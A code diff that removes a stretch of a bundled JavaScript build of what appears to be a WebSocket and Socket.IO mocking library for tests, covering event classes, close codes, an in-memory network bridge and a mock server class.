-		'toUnicode': toUnicode
-	};
-
-	/** Expose `punycode` */
-	// Some AMD build optimizers, like r.js, check for specific condition patterns
-	// like the following:
-	if (
-		typeof define == 'function' &&
-		typeof define.amd == 'object' &&
-		define.amd
-	) {
-		define(function() {
-			return punycode;
-		});
-	}	else if (freeExports && !freeExports.nodeType) {
-		if (freeModule) { // in Node.js or RingoJS v0.8.0+
-			freeModule.exports = punycode;
-		} else { // in Narwhal or RingoJS v0.7.0-
-			for (key in punycode) {
-				punycode.hasOwnProperty(key) && (freeExports[key] = punycode[key]);
-			}
-		}
-	} else { // in Rhino or a web browser
-		root.punycode = punycode;
-	}
-
-}(this));
-
-}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
-
-},{}],5:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-var _helpersEvent = require('./helpers/event');
-
-var _helpersEvent2 = _interopRequireDefault(_helpersEvent);
-
-var _helpersMessageEvent = require('./helpers/message-event');
-
-var _helpersMessageEvent2 = _interopRequireDefault(_helpersMessageEvent);
-
-var _helpersCloseEvent = require('./helpers/close-event');
-
-var _helpersCloseEvent2 = _interopRequireDefault(_helpersCloseEvent);
-
-/*
-* Creates an Event object and extends it to allow full modification of
-* its properties.
-*
-* @param {object} config - within config you will need to pass type and optionally target
-*/
-function createEvent(config) {
-  var type = config.type;
-  var target = config.target;
-
-  var eventObject = new _helpersEvent2['default'](type);
-
-  if (target) {
-    eventObject.target = target;
-    eventObject.srcElement = target;
-    eventObject.currentTarget = target;
-  }
-
-  return eventObject;
-}
-
-/*
-* Creates a MessageEvent object and extends it to allow full modification of
-* its properties.
-*
-* @param {object} config - within config you will need to pass type, origin, data and optionally target
-*/
-function createMessageEvent(config) {
-  var type = config.type;
-  var origin = config.origin;
-  var data = config.data;
-  var target = config.target;
-
-  var messageEvent = new _helpersMessageEvent2['default'](type, {
-    data: data,
-    origin: origin
-  });
-
-  if (target) {
-    messageEvent.target = target;
-    messageEvent.srcElement = target;
-    messageEvent.currentTarget = target;
-  }
-
-  return messageEvent;
-}
-
-/*
-* Creates a CloseEvent object and extends it to allow full modification of
-* its properties.
-*
-* @param {object} config - within config you will need to pass type and optionally target, code, and reason
-*/
-function createCloseEvent(config) {
-  var code = config.code;
-  var reason = config.reason;
-  var type = config.type;
-  var target = config.target;
-  var wasClean = config.wasClean;
-
-  if (!wasClean) {
-    wasClean = code === 1000;
-  }
-
-  var closeEvent = new _helpersCloseEvent2['default'](type, {
-    code: code,
-    reason: reason,
-    wasClean: wasClean
-  });
-
-  if (target) {
-    closeEvent.target = target;
-    closeEvent.srcElement = target;
-    closeEvent.currentTarget = target;
-  }
-
-  return closeEvent;
-}
-
-exports.createEvent = createEvent;
-exports.createMessageEvent = createMessageEvent;
-exports.createCloseEvent = createCloseEvent;
-},{"./helpers/close-event":9,"./helpers/event":12,"./helpers/message-event":13}],6:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-var _helpersArrayHelpers = require('./helpers/array-helpers');
-
-/*
-* EventTarget is an interface implemented by objects that can
-* receive events and may have listeners for them.
-*
-* https://developer.mozilla.org/en-US/docs/Web/API/EventTarget
-*/
-
-var EventTarget = (function () {
-  function EventTarget() {
-    _classCallCheck(this, EventTarget);
-
-    this.listeners = {};
-  }
-
-  /*
-  * Ties a listener function to a event type which can later be invoked via the
-  * dispatchEvent method.
-  *
-  * @param {string} type - the type of event (ie: 'open', 'message', etc.)
-  * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type
-  * @param {boolean} useCapture - N/A TODO: implement useCapture functionality
-  */
-
-  _createClass(EventTarget, [{
-    key: 'addEventListener',
-    value: function addEventListener(type, listener /* , useCapture */) {
-      if (typeof listener === 'function') {
-        if (!Array.isArray(this.listeners[type])) {
-          this.listeners[type] = [];
-        }
-
-        // Only add the same function once
-        if ((0, _helpersArrayHelpers.filter)(this.listeners[type], function (item) {
-          return item === listener;
-        }).length === 0) {
-          this.listeners[type].push(listener);
-        }
-      }
-    }
-
-    /*
-    * Removes the listener so it will no longer be invoked via the dispatchEvent method.
-    *
-    * @param {string} type - the type of event (ie: 'open', 'message', etc.)
-    * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type
-    * @param {boolean} useCapture - N/A TODO: implement useCapture functionality
-    */
-  }, {
-    key: 'removeEventListener',
-    value: function removeEventListener(type, removingListener /* , useCapture */) {
-      var arrayOfListeners = this.listeners[type];
-      this.listeners[type] = (0, _helpersArrayHelpers.reject)(arrayOfListeners, function (listener) {
-        return listener === removingListener;
-      });
-    }
-
-    /*
-    * Invokes all listener functions that are listening to the given event.type property. Each
-    * listener will be passed the event as the first argument.
-    *
-    * @param {object} event - event object which will be passed to all listeners of the event.type property
-    */
-  }, {
-    key: 'dispatchEvent',
-    value: function dispatchEvent(event) {
-      var _this = this;
-
-      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
-        customArguments[_key - 1] = arguments[_key];
-      }
-
-      var eventName = event.type;
-      var listeners = this.listeners[eventName];
-
-      if (!Array.isArray(listeners)) {
-        return false;
-      }
-
-      listeners.forEach(function (listener) {
-        if (customArguments.length > 0) {
-          listener.apply(_this, customArguments);
-        } else {
-          listener.call(_this, event);
-        }
-      });
-    }
-  }]);
-
-  return EventTarget;
-})();
-
-exports['default'] = EventTarget;
-module.exports = exports['default'];
-},{"./helpers/array-helpers":7}],7:[function(require,module,exports){
-"use strict";
-
-Object.defineProperty(exports, "__esModule", {
-  value: true
-});
-exports.reject = reject;
-exports.filter = filter;
-
-function reject(array, callback) {
-  var results = [];
-  array.forEach(function (itemInArray) {
-    if (!callback(itemInArray)) {
-      results.push(itemInArray);
-    }
-  });
-
-  return results;
-}
-
-function filter(array, callback) {
-  var results = [];
-  array.forEach(function (itemInArray) {
-    if (callback(itemInArray)) {
-      results.push(itemInArray);
-    }
-  });
-
-  return results;
-}
-},{}],8:[function(require,module,exports){
-/*
-* https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent
-*/
-"use strict";
-
-Object.defineProperty(exports, "__esModule", {
-  value: true
-});
-var codes = {
-  CLOSE_NORMAL: 1000,
-  CLOSE_GOING_AWAY: 1001,
-  CLOSE_PROTOCOL_ERROR: 1002,
-  CLOSE_UNSUPPORTED: 1003,
-  CLOSE_NO_STATUS: 1005,
-  CLOSE_ABNORMAL: 1006,
-  CLOSE_TOO_LARGE: 1009
-};
-
-exports["default"] = codes;
-module.exports = exports["default"];
-},{}],9:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
-
-var _eventPrototype = require('./event-prototype');
-
-var _eventPrototype2 = _interopRequireDefault(_eventPrototype);
-
-var CloseEvent = (function (_EventPrototype) {
-  _inherits(CloseEvent, _EventPrototype);
-
-  function CloseEvent(type) {
-    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
-
-    _classCallCheck(this, CloseEvent);
-
-    _get(Object.getPrototypeOf(CloseEvent.prototype), 'constructor', this).call(this);
-
-    if (!type) {
-      throw new TypeError('Failed to construct \'CloseEvent\': 1 argument required, but only 0 present.');
-    }
-
-    if (typeof eventInitConfig !== 'object') {
-      throw new TypeError('Failed to construct \'CloseEvent\': parameter 2 (\'eventInitDict\') is not an object');
-    }
-
-    var bubbles = eventInitConfig.bubbles;
-    var cancelable = eventInitConfig.cancelable;
-    var code = eventInitConfig.code;
-    var reason = eventInitConfig.reason;
-    var wasClean = eventInitConfig.wasClean;
-
-    this.type = String(type);
-    this.timeStamp = Date.now();
-    this.target = null;
-    this.srcElement = null;
-    this.returnValue = true;
-    this.isTrusted = false;
-    this.eventPhase = 0;
-    this.defaultPrevented = false;
-    this.currentTarget = null;
-    this.cancelable = cancelable ? Boolean(cancelable) : false;
-    this.canncelBubble = false;
-    this.bubbles = bubbles ? Boolean(bubbles) : false;
-    this.code = typeof code === 'number' ? Number(code) : 0;
-    this.reason = reason ? String(reason) : '';
-    this.wasClean = wasClean ? Boolean(wasClean) : false;
-  }
-
-  return CloseEvent;
-})(_eventPrototype2['default']);
-
-exports['default'] = CloseEvent;
-module.exports = exports['default'];
-},{"./event-prototype":11}],10:[function(require,module,exports){
-/*
-* This delay allows the thread to finish assigning its on* methods
-* before invoking the delay callback. This is purely a timing hack.
-* http://geekabyte.blogspot.com/2014/01/javascript-effect-of-setting-settimeout.html
-*
-* @param {callback: function} the callback which will be invoked after the timeout
-* @parma {context: object} the context in which to invoke the function
-*/
-"use strict";
-
-Object.defineProperty(exports, "__esModule", {
-  value: true
-});
-function delay(callback, context) {
-  setTimeout(function timeout(timeoutContext) {
-    callback.call(timeoutContext);
-  }, 4, context);
-}
-
-exports["default"] = delay;
-module.exports = exports["default"];
-},{}],11:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-var EventPrototype = (function () {
-  function EventPrototype() {
-    _classCallCheck(this, EventPrototype);
-  }
-
-  _createClass(EventPrototype, [{
-    key: 'stopPropagation',
-
-    // Noops
-    value: function stopPropagation() {}
-  }, {
-    key: 'stopImmediatePropagation',
-    value: function stopImmediatePropagation() {}
-
-    // if no arguments are passed then the type is set to "undefined" on
-    // chrome and safari.
-  }, {
-    key: 'initEvent',
-    value: function initEvent() {
-      var type = arguments.length <= 0 || arguments[0] === undefined ? 'undefined' : arguments[0];
-      var bubbles = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];
-      var cancelable = arguments.length <= 2 || arguments[2] === undefined ? false : arguments[2];
-
-      Object.assign(this, {
-        type: String(type),
-        bubbles: Boolean(bubbles),
-        cancelable: Boolean(cancelable)
-      });
-    }
-  }]);
-
-  return EventPrototype;
-})();
-
-exports['default'] = EventPrototype;
-module.exports = exports['default'];
-},{}],12:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
-
-var _eventPrototype = require('./event-prototype');
-
-var _eventPrototype2 = _interopRequireDefault(_eventPrototype);
-
-var Event = (function (_EventPrototype) {
-  _inherits(Event, _EventPrototype);
-
-  function Event(type) {
-    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
-
-    _classCallCheck(this, Event);
-
-    _get(Object.getPrototypeOf(Event.prototype), 'constructor', this).call(this);
-
-    if (!type) {
-      throw new TypeError('Failed to construct \'Event\': 1 argument required, but only 0 present.');
-    }
-
-    if (typeof eventInitConfig !== 'object') {
-      throw new TypeError('Failed to construct \'Event\': parameter 2 (\'eventInitDict\') is not an object');
-    }
-
-    var bubbles = eventInitConfig.bubbles;
-    var cancelable = eventInitConfig.cancelable;
-
-    this.type = String(type);
-    this.timeStamp = Date.now();
-    this.target = null;
-    this.srcElement = null;
-    this.returnValue = true;
-    this.isTrusted = false;
-    this.eventPhase = 0;
-    this.defaultPrevented = false;
-    this.currentTarget = null;
-    this.cancelable = cancelable ? Boolean(cancelable) : false;
-    this.canncelBubble = false;
-    this.bubbles = bubbles ? Boolean(bubbles) : false;
-  }
-
-  return Event;
-})(_eventPrototype2['default']);
-
-exports['default'] = Event;
-module.exports = exports['default'];
-},{"./event-prototype":11}],13:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
-
-var _eventPrototype = require('./event-prototype');
-
-var _eventPrototype2 = _interopRequireDefault(_eventPrototype);
-
-var MessageEvent = (function (_EventPrototype) {
-  _inherits(MessageEvent, _EventPrototype);
-
-  function MessageEvent(type) {
-    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
-
-    _classCallCheck(this, MessageEvent);
-
-    _get(Object.getPrototypeOf(MessageEvent.prototype), 'constructor', this).call(this);
-
-    if (!type) {
-      throw new TypeError('Failed to construct \'MessageEvent\': 1 argument required, but only 0 present.');
-    }
-
-    if (typeof eventInitConfig !== 'object') {
-      throw new TypeError('Failed to construct \'MessageEvent\': parameter 2 (\'eventInitDict\') is not an object');
-    }
-
-    var bubbles = eventInitConfig.bubbles;
-    var cancelable = eventInitConfig.cancelable;
-    var data = eventInitConfig.data;
-    var origin = eventInitConfig.origin;
-    var lastEventId = eventInitConfig.lastEventId;
-    var ports = eventInitConfig.ports;
-
-    this.type = String(type);
-    this.timeStamp = Date.now();
-    this.target = null;
-    this.srcElement = null;
-    this.returnValue = true;
-    this.isTrusted = false;
-    this.eventPhase = 0;
-    this.defaultPrevented = false;
-    this.currentTarget = null;
-    this.cancelable = cancelable ? Boolean(cancelable) : false;
-    this.canncelBubble = false;
-    this.bubbles = bubbles ? Boolean(bubbles) : false;
-    this.origin = origin ? String(origin) : '';
-    this.ports = typeof ports === 'undefined' ? null : ports;
-    this.data = typeof data === 'undefined' ? null : data;
-    this.lastEventId = lastEventId ? String(lastEventId) : '';
-  }
-
-  return MessageEvent;
-})(_eventPrototype2['default']);
-
-exports['default'] = MessageEvent;
-module.exports = exports['default'];
-},{"./event-prototype":11}],14:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-var _server = require('./server');
-
-var _server2 = _interopRequireDefault(_server);
-
-var _socketIo = require('./socket-io');
-
-var _socketIo2 = _interopRequireDefault(_socketIo);
-
-var _websocket = require('./websocket');
-
-var _websocket2 = _interopRequireDefault(_websocket);
-
-if (typeof window !== 'undefined') {
-  window.MockServer = _server2['default'];
-  window.MockWebSocket = _websocket2['default'];
-  window.MockSocketIO = _socketIo2['default'];
-}
-
-var Server = _server2['default'];
-exports.Server = Server;
-var WebSocket = _websocket2['default'];
-exports.WebSocket = WebSocket;
-var SocketIO = _socketIo2['default'];
-exports.SocketIO = SocketIO;
-},{"./server":16,"./socket-io":17,"./websocket":18}],15:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-var _helpersArrayHelpers = require('./helpers/array-helpers');
-
-/*
-* The network bridge is a way for the mock websocket object to 'communicate' with
-* all avalible servers. This is a singleton object so it is important that you
-* clean up urlMap whenever you are finished.
-*/
-
-var NetworkBridge = (function () {
-  function NetworkBridge() {
-    _classCallCheck(this, NetworkBridge);
-
-    this.urlMap = {};
-  }
-
-  /*
-  * Attaches a websocket object to the urlMap hash so that it can find the server
-  * it is connected to and the server in turn can find it.
-  *
-  * @param {object} websocket - websocket object to add to the urlMap hash
-  * @param {string} url
-  */
-
-  _createClass(NetworkBridge, [{
-    key: 'attachWebSocket',
-    value: function attachWebSocket(websocket, url) {
-      var connectionLookup = this.urlMap[url];
-
-      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) === -1) {
-        connectionLookup.websockets.push(websocket);
-        return connectionLookup.server;
-      }
-    }
-
-    /*
-    * Attaches a websocket to a room
-    */
-  }, {
-    key: 'addMembershipToRoom',
-    value: function addMembershipToRoom(websocket, room) {
-      var connectionLookup = this.urlMap[websocket.url];
-
-      if (connectionLookup && connectionLookup.server && connectionLookup.websockets.indexOf(websocket) !== -1) {
-        if (!connectionLookup.roomMemberships[room]) {
-          connectionLookup.roomMemberships[room] = [];
-        }
-
-        connectionLookup.roomMemberships[room].push(websocket);
-      }
-    }
-
-    /*
-    * Attaches a server object to the urlMap hash so that it can find a websockets
-    * which are connected to it and so that websockets can in turn can find it.
-    *
-    * @param {object} server - server object to add to the urlMap hash
-    * @param {string} url
-    */
-  }, {
-    key: 'attachServer',
-    value: function attachServer(server, url) {
-      var connectionLookup = this.urlMap[url];
-
-      if (!connectionLookup) {
-        this.urlMap[url] = {
-          server: server,
-          websockets: [],
-          roomMemberships: {}
-        };
-
-        return server;
-      }
-    }
-
-    /*
-    * Finds the server which is 'running' on the given url.
-    *
-    * @param {string} url - the url to use to find which server is running on it
-    */
-  }, {
-    key: 'serverLookup',
-    value: function serverLookup(url) {
-      var connectionLookup = this.urlMap[url];
-
-      if (connectionLookup) {
-        return connectionLookup.server;
-      }
-    }
-
-    /*
-    * Finds all websockets which is 'listening' on the given url.
-    *
-    * @param {string} url - the url to use to find all websockets which are associated with it
-    * @param {string} room - if a room is provided, will only return sockets in this room
-    */
-  }, {
-    key: 'websocketsLookup',
-    value: function websocketsLookup(url, room) {
-      var connectionLookup = this.urlMap[url];
-
-      if (!connectionLookup) {
-        return [];
-      }
-
-      if (room) {
-        var members = connectionLookup.roomMemberships[room];
-        return members ? members : [];
-      }
-
-      return connectionLookup.websockets;
-    }
-
-    /*
-    * Removes the entry associated with the url.
-    *
-    * @param {string} url
-    */
-  }, {
-    key: 'removeServer',
-    value: function removeServer(url) {
-      delete this.urlMap[url];
-    }
-
-    /*
-    * Removes the individual websocket from the map of associated websockets.
-    *
-    * @param {object} websocket - websocket object to remove from the url map
-    * @param {string} url
-    */
-  }, {
-    key: 'removeWebSocket',
-    value: function removeWebSocket(websocket, url) {
-      var connectionLookup = this.urlMap[url];
-
-      if (connectionLookup) {
-        connectionLookup.websockets = (0, _helpersArrayHelpers.reject)(connectionLookup.websockets, function (socket) {
-          return socket === websocket;
-        });
-      }
-    }
-
-    /*
-    * Removes a websocket from a room
-    */
-  }, {
-    key: 'removeMembershipFromRoom',
-    value: function removeMembershipFromRoom(websocket, room) {
-      var connectionLookup = this.urlMap[websocket.url];
-      var memberships = connectionLookup.roomMemberships[room];
-
-      if (connectionLookup && memberships !== null) {
-        connectionLookup.roomMemberships[room] = (0, _helpersArrayHelpers.reject)(memberships, function (socket) {
-          return socket === websocket;
-        });
-      }
-    }
-  }]);
-
-  return NetworkBridge;
-})();
-
-exports['default'] = new NetworkBridge();
-// Note: this is a singleton
-module.exports = exports['default'];
-},{"./helpers/array-helpers":7}],16:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
-
-var _get = function get(_x4, _x5, _x6) { var _again = true; _function: while (_again) { var object = _x4, property = _x5, receiver = _x6; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x4 = parent; _x5 = property; _x6 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
-
-var _urijs = require('urijs');
-
-var _urijs2 = _interopRequireDefault(_urijs);
-
-var _websocket = require('./websocket');
-
-var _websocket2 = _interopRequireDefault(_websocket);
-
-var _eventTarget = require('./event-target');
-
-var _eventTarget2 = _interopRequireDefault(_eventTarget);
-
-var _networkBridge = require('./network-bridge');
-
-var _networkBridge2 = _interopRequireDefault(_networkBridge);
-
-var _helpersCloseCodes = require('./helpers/close-codes');
-
-var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);
-
-var _eventFactory = require('./event-factory');
-
-/*
-* https://github.com/websockets/ws#server-example
-*/
-
-var Server = (function (_EventTarget) {
-  _inherits(Server, _EventTarget);
-
-  /*
-  * @param {string} url
-  */
-
-  function Server(url) {
-    _classCallCheck(this, Server);
-
-    _get(Object.getPrototypeOf(Server.prototype), 'constructor', this).call(this);
-    this.url = (0, _urijs2['default'])(url).toString();
-    var server = _networkBridge2['default'].attachServer(this, this.url);
-
-    if (!server) {
-      this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error' }));
-      throw new Error('A mock server is already listening on this url');
-    }
-  }
-
-  /*
-   * Alternative constructor to support namespaces in socket.io
-   *
-   * http://socket.io/docs/rooms-and-namespaces/#custom-namespaces
-   */
-
-  /*
-  * This is the main function for the mock server to subscribe to the on events.
-  *
-  * ie: mockServer.on('connection', function() { console.log('a mock client connected'); });
-  *
-  * @param {string} type - The event key to subscribe to. Valid keys are: connection, message, and close.
-  * @param {function} callback - The callback which should be called when a certain event is fired.
-  */
-
-  _createClass(Server, [{
-    key: 'on',
-    value: function on(type, callback) {
-      this.addEventListener(type, callback);
-    }
-
-    /*
-    * This send function will notify all mock clients via their onmessage callbacks that the server
-    * has a message for them.
-    *
-    * @param {*} data - Any javascript object which will be crafted into a MessageObject.
-    */
-  }, {
-    key: 'send',
-    value: function send(data) {
-      var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
-
-      this.emit('message', data, options);
-    }
-
-    /*
-    * Sends a generic message event to all mock clients.
-    */
-  }, {
-    key: 'emit',
-    value: function emit(event, data) {
-      var _this2 = this;
-
-      var options = arguments.length <= 2 || arguments[2] === undefined ? {} : arguments[2];
-      var websockets = options.websockets;
-
-      if (!websockets) {
-        websockets = _networkBridge2['default'].websocketsLookup(this.url);
-      }
-
-      websockets.forEach(function (socket) {
-        socket.dispatchEvent((0, _eventFactory.createMessageEvent)({
-          type: event,
-          data: data,
-          origin: _this2.url,
-          target: socket
-        }));
-      });
-    }
-
-    /*
-    * Closes the connection and triggers the onclose method of all listening
-    * websockets. After that it removes itself from the urlMap so another server
-    * could add itself to the url.
-    *
-    * @param {object} options
-    */
-  }, {
-    key: 'close',
-    value: function close() {
-      var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
-      var code = options.code;
-      var reason = options.reason;
-      var wasClean = options.wasClean;
-
-      var listeners = _networkBridge2['default'].websocketsLookup(this.url);
-
-      listeners.forEach(function (socket) {
-        socket.readyState = _websocket2['default'].CLOSE;
-        socket.dispatchEvent((0, _eventFactory.createCloseEvent)({
-          type: 'close',
-          target: socket,
-          code: code || _helpersCloseCodes2['default'].CLOSE_NORMAL,
-          reason: reason || '',
-          wasClean: wasClean
-        }));
-      });
-
-      this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close' }), this);
-      _networkBridge2['default'].removeServer(this.url);
-    }
-
-    /*
-    * Returns an array of websockets which are listening to this server
-    */
-  }, {
-    key: 'clients',
-    value: function clients() {
-      return _networkBridge2['default'].websocketsLookup(this.url);
-    }
-
-    /*
-    * Prepares a method to submit an event to members of the room
-    *
-    * e.g. server.to('my-room').emit('hi!');
-    */
-  }, {
-    key: 'to',
-    value: function to(room) {
-      var _this = this;
-      var websockets = _networkBridge2['default'].websocketsLookup(this.url, room);
-      return {
-        emit: function emit(event, data) {
-          _this.emit(event, data, { websockets: websockets });
-        }
-      };
-    }
-  }]);
-
-  return Server;
-})(_eventTarget2['default']);
-
-Server.of = function of(url) {
-  return new Server(url);
-};
-
-exports['default'] = Server;
-module.exports = exports['default'];
-},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./network-bridge":15,"./websocket":18,"urijs":3}],17:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
-
-var _get = function get(_x3, _x4, _x5) { var _again = true; _function: while (_again) { var object = _x3, property = _x4, receiver = _x5; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x3 = parent; _x4 = property; _x5 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
-
